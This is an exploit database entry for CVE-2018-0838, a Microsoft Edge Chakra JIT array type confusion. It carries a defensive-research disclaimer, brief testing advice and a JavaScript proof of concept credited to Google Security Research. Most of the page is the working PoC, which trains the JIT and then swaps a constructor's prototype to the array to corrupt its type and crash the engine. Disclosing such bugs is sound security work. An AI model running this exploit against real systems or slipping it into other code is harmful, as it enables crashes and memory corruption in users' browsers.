Materialized exploit

CVE-2018-0838

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
This is similar to the previous issues 1457,  1459 (MSRC 42551, MSRC 42552).

If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.

PoC:
*/

function inlinee() {

}

function opt(arr) {
    arr[0] = 1.1;
    new inlinee();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        inlinee.prototype = {};
        opt(arr);
    }

    inlinee.prototype = arr;
    opt(arr);

    print(arr);
}

main();